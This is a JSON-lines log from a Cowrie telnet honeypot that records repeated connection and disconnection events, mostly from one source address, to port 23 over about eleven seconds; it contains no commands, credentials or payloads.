{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52920,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf240fbbd91a","protocol":"telnet","message":"New connection: 208.115.219.122:52920 (10.17.0.5:23) [session: cf240fbbd91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.248888Z"}
{"eventid":"cowrie.session.closed","duration":31.21884775161743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.345126Z","src_ip":"208.115.219.122","session":"411ecc502441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52924,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e63017723f","protocol":"telnet","message":"New connection: 208.115.219.122:52924 (10.17.0.5:23) [session: 98e63017723f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.505627Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52936,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7313ec164ce","protocol":"telnet","message":"New connection: 208.115.219.122:52936 (10.17.0.5:23) [session: d7313ec164ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.509844Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58bbfa65109","protocol":"telnet","message":"New connection: 208.115.219.122:52940 (10.17.0.5:23) [session: e58bbfa65109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.633215Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52948,"dst_ip":"10.17.0.5","dst_port":23,"session":"930565c046e9","protocol":"telnet","message":"New connection: 208.115.219.122:52948 (10.17.0.5:23) [session: 930565c046e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.909353Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":52962,"dst_ip":"10.17.0.5","dst_port":23,"session":"222c2d06722d","protocol":"telnet","message":"New connection: 208.115.219.122:52962 (10.17.0.5:23) [session: 222c2d06722d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.929790Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.255.38.62","src_port":10308,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5345c15cdae","protocol":"telnet","message":"New connection: 151.255.38.62:10308 (10.17.0.5:23) [session: c5345c15cdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:14.959980Z"}
{"eventid":"cowrie.session.closed","duration":30.510040521621704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.036534Z","src_ip":"208.115.219.122","session":"39ec3afdbbc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50802,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eb86d5160ce","protocol":"telnet","message":"New connection: 208.115.219.122:50802 (10.17.0.5:23) [session: 2eb86d5160ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.123283Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50806,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31608c64c4e","protocol":"telnet","message":"New connection: 208.115.219.122:50806 (10.17.0.5:23) [session: c31608c64c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.165385Z"}
{"eventid":"cowrie.session.closed","duration":31.298120975494385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.296483Z","src_ip":"208.115.219.122","session":"b820200b527a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca3f105d695","protocol":"telnet","message":"New connection: 208.115.219.122:50822 (10.17.0.5:23) [session: 0ca3f105d695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.581038Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3886ab8919","protocol":"telnet","message":"New connection: 208.115.219.122:50834 (10.17.0.5:23) [session: 0e3886ab8919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.603448Z"}
{"eventid":"cowrie.session.closed","duration":31.597877502441406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:15.818460Z","src_ip":"208.115.219.122","session":"ae947ee06560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509501934051514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.033552Z","src_ip":"208.115.219.122","session":"8b08d22b65b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50846,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa36063a2a43","protocol":"telnet","message":"New connection: 208.115.219.122:50846 (10.17.0.5:23) [session: aa36063a2a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.066050Z"}
{"eventid":"cowrie.session.closed","duration":30.80353569984436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.093651Z","src_ip":"208.115.219.122","session":"3f73c0919686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394633054733276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.102052Z","src_ip":"208.115.219.122","session":"010f3495c1d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50856,"dst_ip":"10.17.0.5","dst_port":23,"session":"077279cbe7ef","protocol":"telnet","message":"New connection: 208.115.219.122:50856 (10.17.0.5:23) [session: 077279cbe7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.525058Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a68a547cbe","protocol":"telnet","message":"New connection: 208.115.219.122:50862 (10.17.0.5:23) [session: a6a68a547cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:16.609234Z"}
{"eventid":"cowrie.session.closed","duration":30.978620052337646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.019130Z","src_ip":"208.115.219.122","session":"b4b7e1e1ed3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37742,"dst_ip":"10.17.0.5","dst_port":23,"session":"be03ef3fc1cc","protocol":"telnet","message":"New connection: 208.115.200.90:37742 (10.17.0.5:23) [session: be03ef3fc1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.076231Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"240f16e1ada8","protocol":"telnet","message":"New connection: 208.115.219.122:50866 (10.17.0.5:23) [session: 240f16e1ada8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.081705Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50876,"dst_ip":"10.17.0.5","dst_port":23,"session":"15a9b7f522ba","protocol":"telnet","message":"New connection: 208.115.219.122:50876 (10.17.0.5:23) [session: 15a9b7f522ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.111231Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5483b34952","protocol":"telnet","message":"New connection: 208.115.219.122:50882 (10.17.0.5:23) [session: ef5483b34952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.210373Z"}
{"eventid":"cowrie.session.closed","duration":31.183473348617554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:17.366132Z","src_ip":"208.115.219.122","session":"f99295d35f71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823002815246582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:18.020691Z","src_ip":"208.115.219.122","session":"000751c569c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71896457672119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:18.044570Z","src_ip":"208.115.219.122","session":"e18df0a759cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50888,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5964adf6df","protocol":"telnet","message":"New connection: 208.115.219.122:50888 (10.17.0.5:23) [session: be5964adf6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:18.146037Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50902,"dst_ip":"10.17.0.5","dst_port":23,"session":"f08074d552df","protocol":"telnet","message":"New connection: 208.115.219.122:50902 (10.17.0.5:23) [session: f08074d552df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:18.866808Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50916,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfeb20fc4cb4","protocol":"telnet","message":"New connection: 208.115.219.122:50916 (10.17.0.5:23) [session: bfeb20fc4cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.004913Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67d41c2a8e7","protocol":"telnet","message":"New connection: 208.115.219.122:50918 (10.17.0.5:23) [session: e67d41c2a8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.188299Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50920,"dst_ip":"10.17.0.5","dst_port":23,"session":"649822f29f57","protocol":"telnet","message":"New connection: 208.115.219.122:50920 (10.17.0.5:23) [session: 649822f29f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.371356Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50926,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1cbfa106cb","protocol":"telnet","message":"New connection: 208.115.219.122:50926 (10.17.0.5:23) [session: aa1cbfa106cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.534618Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50938,"dst_ip":"10.17.0.5","dst_port":23,"session":"77377002bdec","protocol":"telnet","message":"New connection: 208.115.219.122:50938 (10.17.0.5:23) [session: 77377002bdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.583775Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50946,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bc515ecd0b","protocol":"telnet","message":"New connection: 208.115.219.122:50946 (10.17.0.5:23) [session: a9bc515ecd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.733006Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50956,"dst_ip":"10.17.0.5","dst_port":23,"session":"6116b0ddecc1","protocol":"telnet","message":"New connection: 208.115.219.122:50956 (10.17.0.5:23) [session: 6116b0ddecc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:19.794094Z"}
{"eventid":"cowrie.session.closed","duration":30.788196802139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.026107Z","src_ip":"208.115.219.122","session":"6dec4c27fc50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57603693008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.268994Z","src_ip":"208.115.219.122","session":"4b7a8a655684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50958,"dst_ip":"10.17.0.5","dst_port":23,"session":"b750ac00dfcf","protocol":"telnet","message":"New connection: 208.115.219.122:50958 (10.17.0.5:23) [session: b750ac00dfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.382334Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f353e7ebffcd","protocol":"telnet","message":"New connection: 208.115.219.122:50966 (10.17.0.5:23) [session: f353e7ebffcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.457978Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50982,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a9e41b1d78","protocol":"telnet","message":"New connection: 208.115.219.122:50982 (10.17.0.5:23) [session: 54a9e41b1d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.742325Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"edfe283c0d5d","protocol":"telnet","message":"New connection: 208.115.219.122:50988 (10.17.0.5:23) [session: edfe283c0d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:20.827314Z"}
{"eventid":"cowrie.session.closed","duration":30.916343927383423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.029988Z","src_ip":"208.115.219.122","session":"d33ac8bcfd70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50992,"dst_ip":"10.17.0.5","dst_port":23,"session":"187d56c75b69","protocol":"telnet","message":"New connection: 208.115.219.122:50992 (10.17.0.5:23) [session: 187d56c75b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.122565Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51008,"dst_ip":"10.17.0.5","dst_port":23,"session":"56d0ae0fe7a4","protocol":"telnet","message":"New connection: 208.115.219.122:51008 (10.17.0.5:23) [session: 56d0ae0fe7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.158155Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"5559292f480d","protocol":"telnet","message":"New connection: 208.115.219.122:51010 (10.17.0.5:23) [session: 5559292f480d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.683629Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e63bc8d21ab","protocol":"telnet","message":"New connection: 208.115.219.122:51020 (10.17.0.5:23) [session: 5e63bc8d21ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.745311Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51022,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4d8491bbe3","protocol":"telnet","message":"New connection: 208.115.219.122:51022 (10.17.0.5:23) [session: ac4d8491bbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:21.816618Z"}
{"eventid":"cowrie.session.closed","duration":30.484469890594482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.042125Z","src_ip":"208.115.219.122","session":"96c54cc8aa3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944204807281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.059338Z","src_ip":"208.115.219.122","session":"92f3b8d21423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86349391937256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.075308Z","src_ip":"208.115.219.122","session":"e04e9ae7cdbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913541793823242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.098881Z","src_ip":"208.115.219.122","session":"8a4be4d7250a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51034,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a254b1b73c","protocol":"telnet","message":"New connection: 208.115.219.122:51034 (10.17.0.5:23) [session: 14a254b1b73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.153503Z"}
{"eventid":"cowrie.session.closed","duration":30.35966920852661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.186508Z","src_ip":"208.115.219.122","session":"83e375801698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51038,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de076e3b3db","protocol":"telnet","message":"New connection: 208.115.219.122:51038 (10.17.0.5:23) [session: 5de076e3b3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.343736Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51044,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09b731f5057","protocol":"telnet","message":"New connection: 208.115.219.122:51044 (10.17.0.5:23) [session: b09b731f5057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:22.797948Z"}
{"eventid":"cowrie.session.closed","duration":30.762157440185547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.026915Z","src_ip":"208.115.219.122","session":"3dc94a7e17ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437408924102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.051351Z","src_ip":"208.115.219.122","session":"0c84c09c6038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.10944962501526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.057069Z","src_ip":"208.115.219.122","session":"703acb33dd16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.292115449905396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.103420Z","src_ip":"208.115.219.122","session":"6d791d40da45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"726a23ae9aae","protocol":"telnet","message":"New connection: 208.115.219.122:51052 (10.17.0.5:23) [session: 726a23ae9aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.121082Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51060,"dst_ip":"10.17.0.5","dst_port":23,"session":"08981cac14bb","protocol":"telnet","message":"New connection: 208.115.219.122:51060 (10.17.0.5:23) [session: 08981cac14bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.163786Z"}
{"eventid":"cowrie.session.closed","duration":30.70667600631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.179691Z","src_ip":"208.115.219.122","session":"56e05e00cc7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ab59e389ad","protocol":"telnet","message":"New connection: 208.115.219.122:51074 (10.17.0.5:23) [session: 62ab59e389ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.220706Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"162faac39b6e","protocol":"telnet","message":"New connection: 208.115.219.122:51090 (10.17.0.5:23) [session: 162faac39b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.422496Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51094,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aed69d93ed6","protocol":"telnet","message":"New connection: 208.115.219.122:51094 (10.17.0.5:23) [session: 2aed69d93ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.795763Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51100,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3824beb08bb","protocol":"telnet","message":"New connection: 208.115.219.122:51100 (10.17.0.5:23) [session: f3824beb08bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.878156Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51114,"dst_ip":"10.17.0.5","dst_port":23,"session":"181b00b15e9c","protocol":"telnet","message":"New connection: 208.115.219.122:51114 (10.17.0.5:23) [session: 181b00b15e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:23.916904Z"}
{"eventid":"cowrie.session.closed","duration":30.585283517837524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.020613Z","src_ip":"208.115.219.122","session":"611dedc04743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815389156341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.031863Z","src_ip":"208.115.219.122","session":"20777ed7fba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578813314437866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.046046Z","src_ip":"208.115.219.122","session":"349f4186b6cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51118,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd7921e6158","protocol":"telnet","message":"New connection: 208.115.219.122:51118 (10.17.0.5:23) [session: 4bd7921e6158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.224109Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51130,"dst_ip":"10.17.0.5","dst_port":23,"session":"58096b5b1428","protocol":"telnet","message":"New connection: 208.115.219.122:51130 (10.17.0.5:23) [session: 58096b5b1428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.335925Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51134,"dst_ip":"10.17.0.5","dst_port":23,"session":"871619e98347","protocol":"telnet","message":"New connection: 208.115.219.122:51134 (10.17.0.5:23) [session: 871619e98347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.804251Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bae0a929a48","protocol":"telnet","message":"New connection: 208.115.219.122:51148 (10.17.0.5:23) [session: 3bae0a929a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:24.817379Z"}
{"eventid":"cowrie.session.closed","duration":30.50013518333435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.024233Z","src_ip":"208.115.219.122","session":"24ad270f70be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97171664237976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.041820Z","src_ip":"208.115.219.122","session":"81e1b7c94a4a","protocol":"telnet"}
